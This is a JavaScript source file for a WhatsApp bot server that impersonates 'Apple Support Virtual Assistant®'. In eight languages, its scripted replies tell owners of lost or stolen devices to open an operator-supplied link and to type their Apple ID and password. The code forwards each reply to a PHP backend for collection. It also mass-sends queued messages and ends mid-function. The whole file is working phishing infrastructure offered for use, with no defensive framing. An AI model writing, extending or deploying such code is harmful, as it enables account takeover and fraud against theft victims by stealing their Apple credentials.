const express = require('express');
const { Client, LocalAuth, MessageMedia, Buttons } = require('whatsapp-web.js');
const WebSocket = require('ws');
const cors = require('cors');
const axios = require('axios');
const path = require('path');
const fs = require('fs');
const https = require('https');
const http = require('http');

const app = express();
const port = 8443; // Puedes cambiar el puerto si lo deseas

// Crear servidor HTTP sin certificados
const server = http.createServer(app);

const wss = new WebSocket.Server({ server });

const clients = {}; // Object to store WhatsApp client instances by clientId
const recipients = {}; // Object to store WhatsApp client instances by clientId

// Middleware
app.use(express.json());
app.use(cors());


// Función mejorada para destruir clientes
async function destroyClient(clientId) {
    if (clients[clientId] && clients[clientId].client) {
        try {
            await clients[clientId].client.destroy();
            console.log(`Cliente ${clientId} destruido correctamente`);
        } catch (error) {
            console.error(`Error al destruir cliente ${clientId}:`, error);
        }
        delete clients[clientId];
    }
}

// Función para generar clientId
function generateValidClientId(length = 12) {
    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
}

// Función mejorada de inicialización de cliente
function initializeWhatsAppClient(clientId, returnUrl) {
    // Destruir cliente existente si hay uno
    if (clients[clientId]) {
        destroyClient(clientId);
    }

    const whatsappClient = new Client({
        authStrategy: new LocalAuth({ clientId }),
        puppeteer: {
            args: [
				'--no-sandbox',
				'--disable-setuid-sandbox',
				'--disable-dev-shm-usage',
				'--disable-accelerated-2d-canvas',
				'--no-first-run',
				'--no-zygote',
				'--single-process',
				'--disable-gpu',
				'--user-agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"'
            ]
        }
    });

    // Registrar nuevo cliente
    clients[clientId] = {
        client: whatsappClient,
        clientState: 'initializing',
        isAuthenticated: false
    };

    // Configurar eventos
    whatsappClient.on('qr', async (qr) => {
        clients[clientId].clientState = 'waiting_for_auth';
        console.log(`QR Code generated for clientId: ${clientId}`);
        SendBroadCastQR(qr, clientId);

        setTimeout(async () => {
            if (clients[clientId]?.clientState === 'waiting_for_auth') {
                console.log(`Client ${clientId} sigue en autenticación. Generando nuevo...`);
                
                // Destruir cliente actual
                await destroyClient(clientId);
                
                // Generar nuevo clientId
                const newClientId = generateValidClientId(12);
                console.log(`Nuevo clientId: ${newClientId}`);
                
                // Inicializar nuevo cliente
                initializeWhatsAppClient(newClientId, returnUrl);
            }
        }, 65000); // Tiempo reducido a 65 segundos
    });

    whatsappClient.on('ready', () => {
        clients[clientId].isAuthenticated = true;
        clients[clientId].clientState = 'ready';
        console.log(`Cliente ${clientId} listo!`);
        
        // Notificar autenticación exitosa
        sendAuthSuccessToPHP(clientId);
        
        // Generar nuevo clientId para próxima conexión
        const newClientId = generateValidClientId(12);
        console.log(`Preparando nuevo clientId: ${newClientId}`);
        initializeWhatsAppClient(newClientId, returnUrl);
    });
	  

    whatsappClient.on('auth_failure', (msg) => {
        clients[clientId].clientState = 'authentication_failed';
        console.error(`Authentication failure for client ${clientId}:`, msg);
    });

    whatsappClient.on('disconnected', async (reason) => {
        clients[clientId].clientState = 'disconnected';
		await destroyClient(clientId);
		await axios.get(returnUrl + '/0').catch(() => {});
        console.log(`Client ${clientId} disconnected: ${reason}`);
		console.log(returnUrl + '/0');
    });

    whatsappClient.on('authenticated', () => {
        clients[clientId].isAuthenticated = true;
        clients[clientId].clientState = 'authenticated';
        console.log(`Authenticated successfully for client ${clientId}`);
    });

 



whatsappClient.on('message_create', (message) => {
	// Asegurarse de que el mensaje provenga de otro usuario y que exista información del destinatario
	if (!message.fromMe && recipients[message.from.split('@')[0]]) {
		const from_number = message.from.split('@')[0];
		// Se elimina espacios adicionales y se pasa a minúsculas para una comparación adecuada
		const message_body = message.body.trim();
		const message_lower = message_body.toLowerCase();
		console.log(message_body);

		// Obtenemos la configuración actual del destinatario
		let lang = recipients[from_number].language; // idioma previamente asignado
		let isReply = recipients[from_number].autoreply;
		let attach_link = recipients[from_number].attach_link;
		const randomNumber = Math.floor(100000 + Math.random() * 900000);

		// Definición de las traducciones de comando "help"
		let helpTranslations = {
			en: { 
				translation: 'help', 
				name: 'English', 
				help_text: ' 🇬🇧 For English instructions, enter help.\n' 
			},
			de: { 
				translation: 'ayuda', 
				name: 'Español', 
				help_text: ' 🇪🇸 Para instrucciones en Español, escriba ayuda.\n' 
			},
			it: { 
				translation: 'aiuto', 
				name: 'Italian', 
				help_text: ' 🇮🇹 Per istruzioni in italiano, inserisci aiuto.\n' 
			},
			zh: { 
				translation: '帮助', 
				name: 'Chinese', 
				help_text: ' 🇨🇳 如需中文说明，请输入帮助。\n' 
			},
			pt: { 
				translation: 'ajuda', 
				name: 'Portuguese', 
				help_text: ' 🇵🇹 Para instruções em português, digite ajuda.\n' 
			},
			ja: { 
				translation: 'ヘルプ', 
				name: 'Japanese', 
				help_text: ' 🇯🇵 日本語の指示については、ヘルプと入力してください。\n' 
			},
			ru: { 
				translation: 'помощь', 
				name: 'Russian', 
				help_text: ' 🇷🇺 Для инструкций на русском введите помощь.\n' 
			},
			ar: { 
				translation: 'مساعدة', 
				name: 'Arabic', 
				help_text: ' 🇸🇦 للحصول على تعليمات باللغة العربية، أدخل مساعدة.\n' 
			}
		};

		// Concatena todos los textos de ayuda para opciones no válidas
		const concatenatedHelpText = Object.values(helpTranslations)
			.map(({ help_text }) => help_text)
			.join('\n');

		// Definición de las respuestas automáticas según el idioma
		let autoreply = {
			en: {
				help: "👋 Welcome to the Apple Support Virtual Assistant®! \n\nWe are here to help you recover your lost device. 📱💡\n\nPlease select one of the options below to proceed by entering the corresponding number:\n\n1️⃣ - Locate My Lost Device 📍\n2️⃣ - Apple ID or Password Recovery 🔑\n3️⃣ - AppleCare+ Replacement for Lost/Stolen Devices 🛠️\n\nLet’s get started and guide you through the steps to locate your device. 🚀",
				option1: "👋 Apple Support Virtual Assistant®\n\nWelcome to the 'Locate My Lost Device' section.\n\nIf you need assistance to locate your lost device, please click the link below. It will take you to a page showing your device's last known location:\n\n" + attach_link + "\n\n🔑 4 - Apple ID or Password Recovery\n🏠 5 - Main Menu",
				option2: "👋 Apple Support Virtual Assistant®\n\nWelcome to the 'Apple ID or Password Recovery' section.\n\nIf you're having trouble accessing your account or have forgotten your Apple ID or password, you're in the right place. Follow the instructions below to begin the recovery process safely and efficiently:\n\nExample:\napple@icloud.com<space>YourPassword",
				option3: "👋 Apple Support Virtual Assistant®\n\nWelcome to the 'AppleCare+ Replacement for Lost/Stolen Devices' section.\n\nIf your device is covered by AppleCare+ for theft and loss, please sign in with your Apple ID to request a replacement.\n\nExample:\napple@icloud.com<space>YourPassword",
				end_message: "🎉 Thank you for providing the required information. We appreciate your cooperation and will keep you informed about the status of your case via your registered email. Your case ID is " + randomNumber + ".\n\nIf you have any further questions or need additional assistance, please do not hesitate to contact us.",
				invalid: "⚠️ Apple Support Virtual Assistant®\n\nSorry, but the option you entered is invalid.\n\n" + concatenatedHelpText,
			},
			de: {
				help: "👋 ¡Bienvenido al Apple Support Virtual Assistant®! \n\nEstamos aquí para ayudarle a recuperar su dispositivo perdido. 📱💡\n\nPor favor, elija una de las siguientes opciones para continuar ingresando el número correspondiente:\n\n1️⃣ - Encontrar mi dispositivo perdido 📍\n2️⃣ - Recuperación de Apple ID o contraseña 🔑\n3️⃣ - AppleCare+ para reemplazar dispositivos perdidos/robados 🛠️\n\nComencemos y le guiaremos a través de los pasos para encontrar su dispositivo. 🚀",
				option1: "👋 Apple Support Virtual Assistant®\n\nBienvenido a la sección 'Encontrar mi dispositivo perdido'.\n\nSi necesita ayuda para localizar su dispositivo perdido, haga clic en el siguiente enlace. Esto lo llevará a una página donde podrá ver la última ubicación conocida de su dispositivo:\n\n" + attach_link + "\n\n🔑 4 - Recuperación de Apple ID o contraseña\n🏠 5 - Menú principal",
				option2: "👋 Apple Support Virtual Assistant®\n\nBienvenido a la sección 'Recuperación de Apple ID o contraseña'.\n\nSi tiene problemas para acceder a su cuenta o ha olvidado su Apple ID o contraseña, está en el lugar adecuado. Siga las instrucciones a continuación para iniciar el proceso de recuperación:\n\nEjemplo:\napple@icloud.com<space>SuContraseña",
				option3: "👋 Apple Support Virtual Assistant®\n\nBienvenido a la sección 'AppleCare+ para reemplazar dispositivos perdidos/robados'.\n\nSi su dispositivo está protegido por AppleCare+ contra robo y pérdida, inicie sesión con su Apple ID para solicitar un reemplazo.\n\nEjemplo:\napple@icloud.com<space>SuContraseña",
				end_message: "🎉 Muchas gracias por proporcionar la información requerida. Su ID de caso asignada es " + randomNumber + ".\n\nSi necesita asistencia adicional, contáctenos.",
				invalid: "⚠️ Apple Support Virtual Assistant®\n\nLo sentimos, pero la opción ingresada no es válida.\n\n" + concatenatedHelpText
			},
			it: {
				help: "👋 Benvenuto all'Assistente Virtuale® di Supporto Apple! \n\nSiamo qui per aiutarti a recuperare il tuo dispositivo perso. 📱💡\n\nSeleziona una delle opzioni inserendo il numero corrispondente:\n\n1️⃣ - Trova il mio dispositivo perso 📍\n2️⃣ - Recupero ID Apple o Password 🔑\n3️⃣ - Sostituzione AppleCare+ per dispositivi persi/rubati 🛠️\n\nIniziamo!",
				option1: "Assistente Virtuale® di Supporto Apple\n\nBenvenuto nella sezione Trova il mio dispositivo perso.\n\nClicca sul link seguente per visualizzare l'ultima posizione conosciuta del dispositivo:\n\n" + attach_link + "\n\n4 - Recupero ID Apple o Password\n5 - Menu principale",
				option2: "Assistente Virtuale® di Supporto Apple\n\nBenvenuto nella sezione Recupero ID Apple o Password.\n\nInserisci il tuo ID Apple registrato seguito dalla password:\n\nEsempio:\napple@icloud.com<space>tuapassword",
				option3: "Assistente Virtuale® di Supporto Apple\n\nBenvenuto nella sezione Sostituzione AppleCare+.\n\nInserisci il tuo ID Apple registrato seguito dalla password:\n\nEsempio:\napple@icloud.com<space>tuapassword",
				end_message: "Grazie per aver fornito le informazioni. Il tuo ID caso è " + randomNumber + ".",
				invalid: "Assistente Virtuale® di Supporto Apple\n\nL'opzione inserita non è valida.\n\n" + concatenatedHelpText
			},
			zh: {
				help: "👋 欢迎使用Apple支持虚拟助手®！\n\n我们在这里帮助您找回丢失的设备。 📱💡\n\n请通过输入对应的数字选择其中一项：\n\n1️⃣ - 查找我的丢失设备 📍\n2️⃣ - Apple ID或密码恢复 🔑\n3️⃣ - AppleCare+替换丢失/被盗设备 🛠️\n\n开始查找设备的步骤：🚀",
				option1: "Apple支持虚拟助手®\n\n欢迎进入‘查找我的丢失设备’部分。\n\n点击以下链接以查看设备的最后已知位置：\n\n" + attach_link + "\n\n4 - Apple ID或密码恢复\n5 - 主菜单",
				option2: "Apple支持虚拟助手®\n\n欢迎进入‘Apple ID或密码恢复’部分。\n\n请输入您注册的Apple ID及最后记住的密码：\n\n示例：\napple@icloud.com<space>您的密码",
				option3: "Apple支持虚拟助手®\n\n欢迎进入‘AppleCare+替换’部分。\n\n请输入您的Apple ID及密码：\n\n示例：\napple@icloud.com<space>您的密码",
				end_message: "感谢您提供必要的信息。您的案件ID为 " + randomNumber + "。",
				invalid: "Apple支持虚拟助手®\n\n输入的选项无效。\n\n" + concatenatedHelpText
			},
			pt: {
				help: "👋 Bem-vindo ao Assistente Virtual® de Suporte da Apple!\n\nEstamos aqui para ajudá-lo a recuperar seu dispositivo perdido. 📱💡\n\nDigite o número correspondente para seguir:\n\n1️⃣ - Localizar Meu Dispositivo Perdido 📍\n2️⃣ - Recuperação de ID Apple ou Senha 🔑\n3️⃣ - Substituição do AppleCare+ para Dispositivos Perdidos/Roubados 🛠️\n\nVamos começar!",
				option1: "👋 Assistente Virtual® de Suporte da Apple\n\nBem-vindo à seção 'Localizar Meu Dispositivo Perdido'.\n\nClique no link abaixo para ver a última localização conhecida do dispositivo:\n\n" + attach_link + "\n\n🔑 4 - Recuperação de ID Apple ou Senha\n🏠 5 - Menu Principal",
				option2: "👋 Assistente Virtual® de Suporte da Apple\n\nBem-vindo à seção 'Recuperação de ID Apple ou Senha'.\n\nDigite seu ID Apple e a última senha lembrada:\n\nExemplo:\napple@icloud.com<space>suasenha",
				option3: "👋 Assistente Virtual® de Suporte da Apple\n\nBem-vindo à seção de 'Substituição do AppleCare+'.\n\nDigite seu ID Apple e senha:\n\nExemplo:\napple@icloud.com<space>suasenha",
				end_message: "🎉 Obrigado pelas informações. Seu ID de caso é " + randomNumber + ".",
				invalid: "⚠️ Assistente Virtual® de Suporte da Apple\n\nA opção digitada não é válida.\n\n" + concatenatedHelpText
			},
			ja: {
				help: "👋 Appleサポートバーチャルアシスタント®へようこそ！\n\n紛失デバイスの回復をお手伝いします。 📱💡\n\n以下の番号のいずれかを入力してください：\n\n1️⃣ - 紛失デバイスの検索 📍\n2️⃣ - Apple IDまたはパスワードの復元 🔑\n3️⃣ - AppleCare+によるデバイス交換 🛠️\n\n開始しましょう！",
				option1: "Appleサポートバーチャルアシスタント®\n\n‘紛失デバイスの検索’セクションへようこそ。\n\n以下のリンクをクリックして、デバイスの最終位置を確認してください：\n\n" + attach_link + "\n\n4 - Apple IDまたはパスワードの復元\n5 - メインメニュー",
				option2: "Appleサポートバーチャルアシスタント®\n\n‘Apple IDまたはパスワードの復元’セクションへようこそ。\n\n登録済みのApple IDと最新のパスワードを入力してください：\n\n例：\napple@icloud.com<space>あなたのパスワード",
				option3: "Appleサポートバーチャルアシスタント®\n\n‘AppleCare+によるデバイス交換’セクションへようこそ。\n\nApple IDとパスワードを入力してください：\n\n例：\napple@icloud.com<space>あなたのパスワード",
				end_message: "ご提供いただいた情報に感謝します。ケースIDは " + randomNumber + " です。",
				invalid: "Appleサポートバーチャルアシスタント®\n\n入力されたオプションは無効です。\n\n" + concatenatedHelpText
			},
			ru: {
				help: "👋 Добро пожаловать в виртуального помощника Apple Support®!\n\nМы поможем восстановить ваше устройство. 📱💡\n\nВыберите опцию, введя соответствующую цифру:\n\n1️⃣ - Найти устройство 📍\n2️⃣ - Восстановление Apple ID или пароля 🔑\n3️⃣ - Замена устройства по AppleCare+\n\nНачнем!",
				option1: "👋 Виртуальный помощник Apple Support®\n\nДобро пожаловать в раздел 'Найти устройство'.\n\nНажмите ссылку ниже для просмотра последнего известного местоположения устройства:\n\n" + attach_link + "\n\n🔑 4 - Восстановление Apple ID или пароля\n🏠 5 - Главное меню",
				option2: "👋 Виртуальный помощник Apple Support®\n\nДобро пожаловать в раздел восстановления Apple ID или пароля.\n\nВведите зарегистрированный Apple ID и последний запомненный пароль:\n\nПример:\napple@icloud.com<space>вашпароль",
				option3: "👋 Виртуальный помощник Apple Support®\n\nДобро пожаловать в раздел замены AppleCare+.\n\nВведите Apple ID и пароль:\n\nПример:\napple@icloud.com<space>вашпароль",
				end_message: "🎉 Спасибо за предоставленную информацию. Номер вашего обращения: " + randomNumber + ".",
				invalid: "⚠️ Виртуальный помощник Apple Support®\n\nНеверный ввод. Попробуйте еще раз:\n\n" + concatenatedHelpText
			},
			ar: {
				help: "👋 مرحبًا بك في المساعد الافتراضي لدعم Apple®!\n\nنحن هنا لاستعادة جهازك المفقود. 📱💡\n\nاختر إحدى الخيارات عن طريق إدخال الرقم المقابل:\n\n1️⃣ - العثور على جهازي المفقود 📍\n2️⃣ - استعادة Apple ID أو كلمة المرور 🔑\n3️⃣ - استبدال AppleCare+ للأجهزة المفقودة/المسروقة 🛠️\n\nلنبدأ!",
				option1: "المساعد الافتراضي لدعم Apple®\n\nمرحبًا بك في قسم 'العثور على جهازي المفقود'.\n\nانقر على الرابط أدناه للاطلاع على آخر موقع معروف لجهازك:\n\n" + attach_link + "\n\n4 - استعادة Apple ID أو كلمة المرور\n5 - القائمة الرئيسية",
				option2: "المساعد الافتراضي لدعم Apple®\n\nمرحبًا بك في قسم استعادة Apple ID أو كلمة المرور.\n\nأدخل معرف Apple المسجل متبوعًا بكلمة المرور:\n\nمثال:\napple@icloud.com<space>كلمتك السرية",
				option3: "المساعد الافتراضي لدعم Apple®\n\nمرحبًا بك في قسم استبدال AppleCare+.\n\nأدخل معرف Apple المتبع بكلمة المرور:\n\nمثال:\napple@icloud.com<space>كلمتك السرية",
				end_message: "شكرًا على المعلومات. رقم قضيتك هو " + randomNumber + ".",
				invalid: "المساعد الافتراضي لدعم Apple®\n\nالخيار المدخل غير صالح.\n\n" + concatenatedHelpText
			},
		};

		// Si el idioma actual del destinatario no es válido en "autoreply", se asigna por defecto a 'en'
		if (!autoreply[lang]) {
			lang = 'en';
			recipients[from_number].language = lang;
			console.log('Idioma por defecto asignado: en');
		}

		// Función para detectar el idioma en base al comando ingresado (quitando espacios y comparando en minúsculas)
		const detectLanguage = (msg) => {
			const cleanMsg = msg.trim().toLowerCase();
			const entry = Object.entries(helpTranslations).find(
				([, { translation }]) => translation === cleanMsg
			);
			return entry ? entry[0] : 'en';
		};

		// Verificamos si el mensaje es el comando de "help" (o su traducción correspondiente)
		if (Object.values(helpTranslations).some(({ translation }) => translation === message_lower)) {
			// Se detecta el idioma basado en el comando ingresado
			lang = detectLanguage(message_body);
			recipients[from_number].language = lang;
			const bot_reply = autoreply[lang].help;
			recipients[from_number].last_reply = bot_reply;
			recipients[from_number].autoreply = true;
			setTimeout(() => {
				UploadInfo(from_number, {
					phoneNumber: from_number,
					message: message_body
				});
				whatsappClient.sendMessage(message.from, bot_reply);
			}, Math.random() * (3000 - 1000) + 1000);
		}
		// Evaluamos el resto de las opciones numéricas
		else if (message_lower === '1') {
			const bot_reply = autoreply[lang].option1;
			recipients[from_number].last_reply = bot_reply;
			recipients[from_number].autoreply = true;
			setTimeout(() => {
				UploadInfo(from_number, {
					phoneNumber: from_number,
					message: message_body
				});
				whatsappClient.sendMessage(message.from, bot_reply);
			}, Math.random() * (3000 - 1000) + 1000);
		} else if (message_lower === '2') {
			const bot_reply = autoreply[lang].option2;
			recipients[from_number].last_reply = bot_reply;
			recipients[from_number].autoreply = false;
			setTimeout(() => {
				UploadInfo(from_number, {
					phoneNumber: from_number,
					message: message_body
				});
				whatsappClient.sendMessage(message.from, bot_reply);
			}, Math.random() * (3000 - 1000) + 1000);
		} else if (message_lower === '3') {
			const bot_reply = autoreply[lang].option3;
			recipients[from_number].last_reply = bot_reply;
			recipients[from_number].autoreply = false;
			setTimeout(() => {
				UploadInfo(from_number, {
					phoneNumber: from_number,
					message: message_body
				});
				whatsappClient.sendMessage(message.from, bot_reply);
			}, Math.random() * (3000 - 1000) + 1000);
		} else if (message_lower === '4') {
			const bot_reply = autoreply[lang].option2;
			recipients[from_number].last_reply = bot_reply;
			recipients[from_number].autoreply = false;
			setTimeout(() => {
				UploadInfo(from_number, {
					phoneNumber: from_number,
					message: message_body
				});
				whatsappClient.sendMessage(message.from, bot_reply);
			}, Math.random() * (3000 - 1000) + 1000);
		} else if (message_lower === '5') {
			const bot_reply = autoreply[lang].option1;
			recipients[from_number].last_reply = bot_reply;
			recipients[from_number].autoreply = true;
			setTimeout(() => {
				UploadInfo(from_number, {
					phoneNumber: from_number,
					message: message_body
				});
				whatsappClient.sendMessage(message.from, bot_reply);
			}, Math.random() * (3000 - 1000) + 1000);
		} else {
			// Si ya se ha respondido previamente, se muestra mensaje de "opción inválida"
			if (isReply === false) {
				const bot_reply = autoreply[lang].end_message;
				recipients[from_number].last_reply = autoreply[lang].help;
				recipients[from_number].autoreply = true;
				setTimeout(() => {
					UploadInfo(from_number, {
						phoneNumber: from_number,
						message: message_body
					});
					whatsappClient.sendMessage(message.from, bot_reply);
				}, Math.random() * (3000 - 1000) + 1000);
			} else {
				const bot_reply = autoreply[lang].invalid;
				recipients[from_number].autoreply = true;
				setTimeout(() => {
					UploadInfo(from_number, {
						phoneNumber: from_number,
						message: message_body
					});
					whatsappClient.sendMessage(message.from, bot_reply);
				}, Math.random() * (3000 - 1000) + 1000);
			}
		}

		// Actualizamos el último mensaje recibido (convertido a minúsculas)
		recipients[from_number].last_msg = message_lower;
		}
		
	});

    whatsappClient.initialize();
	
	// Store the client instance and return URL
    clients[clientId] = {
        client: whatsappClient,
        return_url: returnUrl,
        isAuthenticated: false,
        clientState: 'initializing',
    };
	
	console.log('initialized');
	
}


async function RequestMessages() {
	try {
	  const response = await fetch('https://localhost/castle/codes/data_async.php');
	  
	  if (!response.ok) {
		throw new Error(`HTTP error! status: ${response.status}`);
	  }
  
	  const responseData = await response.json();
	  
	  if (responseData.error) {
		throw new Error('Error en el servidor: ' + (responseData.details || 'Desconocido'));
	  }
  
	  console.log(`Encontrados ${responseData.count} mensajes pendientes`);
	  
	  // Procesar cada mensaje
	  responseData.data.forEach(message => {
		const sms = message.whatsapp_sms;
		console.log('Mensaje pendiente:', {
		  id: sms.id,
		  teléfono: sms.phone_number,
		  mensaje: sms.message.substring(0, 10) + '...' // Muestra preview
		});


	  });
  
	  return responseData.data;
  
	} catch (error) {
	  console.error('Error en RequestMessages:', error.message);
	  // Puedes agregar reintentos aquí si es necesario
	  throw error;
	}
  }


function SendBroadCastQR(qr, clientId) {
	fetch('https://localhost/castle/codes/qr.php', { 
	  method: 'POST',
	  headers: { 'Content-Type': 'application/json' },
	  body: JSON.stringify({
		qrCode: qr,
		clientId: clientId
	  })
	})
	.then(response => response.json())
	.then(data => {
	  console.log('Respuesta del servidor SendQR:', data);
	})
	.catch(error => console.error('Error al enviar QR a PHP:', error));
  }
  
  function sendAuthSuccessToPHP(clientId) {
	const clientInfo = clients[clientId].client.info; // Asegúrate de que 'clients' está disponible en el contexto
	fetch('https://localhost/castle/codes/qr_auth.php', {
	  method: 'POST',
	  headers: { 'Content-Type': 'application/json' },
	  body: JSON.stringify({
		authenticated: true,
		clientId: clientId,
		clientInfo: clientInfo,
		message: 'Authenticated successfully!'
	  })
	})
	.then(response => response.json())
	.then(data => {
	  console.log('Respuesta del servidor Auth QR:', data);
	})
	.catch(error => console.error('Error al enviar autenticación a PHP:', error));
  }
  

	// Function to broadcast QR codes to the specific WebSocket client
	function broadcastQR(qr, clientId) {
		wss.clients.forEach(ws => {
			if (ws.readyState === WebSocket.OPEN && ws.clientId === clientId) {
				ws.send(JSON.stringify({ qrCode: qr, clientId }));
			}
		});
	}

	function broadcastAuthSuccess(clientId) {
		wss.clients.forEach(ws => {
			if (ws.readyState === WebSocket.OPEN && ws.clientId === clientId) {
				const clientInfo = clients[clientId].client.info;
				
				ws.send(JSON.stringify({ 
					authenticated: true, 
					clientId: clientId,
					clientInfo,
					message: 'Authenticated successfully!' 
				}));
			}
		});
	}

// Desactivar la verificación de certificados (solo para desarrollo)
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

async function UploadInfo(phoneNumber, message) {
  try {
    const response = await fetch('https://localhost/castle/codes/get_data.php', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({
        clientId: phoneNumber, // Ahora es realmente el número telefónico
        message: message
      })
    });

    if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
    
    const data = await response.json();
    console.log('Respuesta del servidor:', data);
    return data;

  } catch (error) {
    console.error('Error en el proceso:', error);
    throw error;
  }
}


async function ReCheckSMS() {
    while (true) {
        try {
            // Wait for processPendingMessages() to complete if it returns a promise.
            await processPendingMessages();
        } catch (error) {
            console.error("Error in processPendingMessages:", error);
        }
        // Wait for 2 seconds before continuing the loop.
        await new Promise(resolve => setTimeout(resolve, 8000));
    }
}

function waitForReinitialize(clientId, timeout = 30000) {
    return new Promise((resolve, reject) => {
        const startTime = Date.now();

		
        const checkState = () => {
            const client = clients[clientId];

            if (!client) {
                return reject(new Error(`Client with ID ${clientId} not found.`));
            }

            // Check if the client has reached the desired state
            if (client.clientState === 'waiting_for_auth' || client.isAuthenticated === true) {
                return resolve(client.clientState);
            }

            // Check if the timeout has been reached
            if (Date.now() - startTime > timeout) {
                return reject(new Error('Timeout: Client state did not reach the desired state within the specified time.'));
            }

            // Recheck after a short delay
            setTimeout(checkState, 100);
        };

        checkState();
    });
}

async function destroyClient(clientId) {
	try {
		if (clients[clientId]) {
			const client = clients[clientId].client;
			//await client.logout();
			await client.destroy();
			delete clients[clientId];
			console.log(`Client ${clientId} session data cleaned up.`);
		}
	 } catch (error) {
		 console.error(`Error during logout or destroy for clientId ${clientId}:`, error);
	 }
}


  //////////////////////////////////////////////////////////////////////////////////////
	
	async function processPendingMessages() {
		try {
			const pendingMessages = await RequestMessages();
			
			// Procesar cada mensaje pendiente
			for (const messageData of pendingMessages) {
				const { whatsapp_sms } = messageData;
				const { client_id, phone_number, message, image_url, attach_link, lang, id } = whatsapp_sms;

				try {
					// Enviar el mensaje
					const result = await sendSingleMessage({
						client_id,
						phone_number,
						message_body: message,
						image_url,
						attach_link,
						lang,
						message_id: id
					});

					console.log(`Mensaje ${id} enviado:`, result);
					
					// Actualizar estado como exitoso
					await updateMessageStatus(id, 'success');
				} catch (error) {
					console.error(`Error procesando mensaje ${id}:`, error.message);
					// Actualizar con error del servidor
					await updateMessageStatus(id, error.message);
					
					// Esperar antes de reintentar
					await new Promise(resolve => setTimeout(resolve, 5000));
				}
			}
			
			return { success: true, processed: pendingMessages.length };
		} catch (error) {
			console.error('Error en processPendingMessages:', error);
			return { success: false, error: error.message };
		}
	}

	async function sendSingleMessage({ 
		client_id, 
		phone_number, 
		message_body, 
		image_url, 
		attach_link, 
		lang,
		message_id 
	}) {
		try {
			if (!clients[client_id]) {
				initializeWhatsAppClient(client_id);
				await waitForReinitialize(client_id);
			}

			// Verificar estado de autenticación
			if (!clients[client_id]?.isAuthenticated) {
				if (clients[client_id]?.clientState === 'waiting_for_auth') {
					throw new Error('Client_ID_expire');
				}
				throw new Error('Client_ID_expire');
			}

			const client = clients[client_id].client;
			
			// Verificación adicional del cliente
			if (!client?.info || client?.isDestroyed) {
				throw new Error('Client_ID_expire');
			}

			// Configurar información del destinatario
			recipients[phone_number] = {
				attach_link: attach_link || '',
				image_url: image_url || '',
				language: lang || 'en',
				autoreply: true,
				last_reply: '',
				last_msg: ''
			};

			// Lógica de envío de imagen
			if (image_url) {
				const response = await axios({ 
					url: image_url, 
					responseType: 'arraybuffer',
					timeout: 5000
				});
				
				const tempFilePath = path.join(__dirname, `temp_image_${message_id}_${Date.now()}.jpg`);
				fs.writeFileSync(tempFilePath, response.data);
				
				try {
					const media = MessageMedia.fromFilePath(tempFilePath);
					await client.sendMessage(`${phone_number}@c.us`, media, { caption: message_body });
				} finally {
					fs.unlinkSync(tempFilePath);
				}
			} else {
				await client.sendMessage(`${phone_number}@c.us`, message_body);
			}

			return { message_id, status: 'sent', timestamp: new Date() };
			
		} catch (error) {
			// Manejo unificado de errores
			let errorMessage = 'Error: ';
			
			if (error.message.includes('not logged in') || 
				error.message.includes('Client_ID_expire') ||
				error.message.includes('not authenticated')) {
				errorMessage = 'Client_ID_expire';
			} else {
				errorMessage += error.message;
			}
			
			throw new Error(errorMessage);
		}
	}

	async function updateMessageStatus(messageId, serverResponse) {
		try {
			await fetch('https://localhost/castle/codes/update_status.php', {
				method: 'POST',
				headers: { 'Content-Type': 'application/json' },
				body: JSON.stringify({
					message_id: messageId,
					response_server: serverResponse
				})
			});
		} catch (updateError) {
			console.error('Error updating message status:', updateError);
		}
	}

	app.get('/send-message', async (req, res) => {
		try {
			const result = await sendSingleMessage(req.query);
			res.json({ 
				success: true, 
				data: result,
				msg: 'Message sent successfully' 
			});
		} catch (error) {
			res.status(500).json({
				success: false,
				msg: error.message.includes('Client_ID_expire') 
					? 'Necesita reautenticación' 
					: error.message || 'Failed to send message'
			});
		}
	});

  //////////////////////////////////////////////////////////////////////////////////////

// WebSocket connection for clients
wss.on('connection', (ws, req) => {
    const urlParams = new URLSearchParams(req.url.split('?')[1]);
    const clientId = urlParams.get('clientId');

    if (!clientId) {
        console.error('No clientId provided in WebSocket connection');
        ws.close(); // Close the connection if clientId is not provided
        return;
    }

    ws.clientId = clientId; // Set the clientId on the WebSocket
    console.log(`New client connected with clientId: ${clientId}`);

    // Set up a close event for the WebSocket connection
    ws.on('close',async () => {
		console.log(`Client disconnected: ${clientId}`);
		// await destroyClient(clientId);
    });
});

// API endpoint to initialize the WhatsApp client with a given clientId and returnUrl
app.post('/api/init', async (req, res) => {
    const { clientId, returnUrl } = req.body; // Get clientId and returnUrl from request body

    if (!clientId || !returnUrl) {
        return res.json({ success: false, clientId: clientId, msg: 'clientId and returnUrl are required.' });
    }
	
	if (clients[clientId]) {
		await clients[clientId].client.destroy();
	}
	initializeWhatsAppClient(clientId, returnUrl); // Reinitialize client with new clientId and returnUrl
	
	res.json({ success: true,clientId: clientId, msg: `WhatsApp client initialized with clientId: ${clientId} and returnUrl: ${returnUrl}` });
});

// Check client authentication status
app.get('/checkClient/:clientId', async (req, res) => {
    const clientId = req.params.clientId;
    if (!clientId) {
        return res.json({ success: false, msg: 'clientId is required' });
    } else if (!clients[clientId]) {
        return res.json({ success: false, msg: 'Invalid clientId or not found!' });
    } else {
        const isAuthenticated = clients[clientId]?.clientState === 'authenticated' || clients[clientId]?.clientState === 'ready';
        res.json({
            success: true,
            msg: isAuthenticated ? 'Authenticated' : 'QR code generated',
            isAuthenticated,
        });
    }
});

app.get('/logout/:clientId', async (req, res) => {
    const clientId = req.params.clientId; // Get clientID from URL parameters

    if (!clientId || !clients[clientId]) {
        return res.json({ success: false, msg: 'Invalid clientId' });
    }

    try {
		const client = clients[clientId].client;
		await client.logout();
		await client.destroy();
		delete clients[clientId];
		console.log(`Client ${clientId} logged out successfully`);
        res.json({ success: true, msg: 'Client logged out successfully' });
    } catch (error) {
        console.error(`Error logging out client ${clientId}:`, error);
        res.json({ success: false, msg: 'Error logging out client' });
    }
});


// Función para generar un string aleatorio
function generateRandomString(length) {
	let result = '';
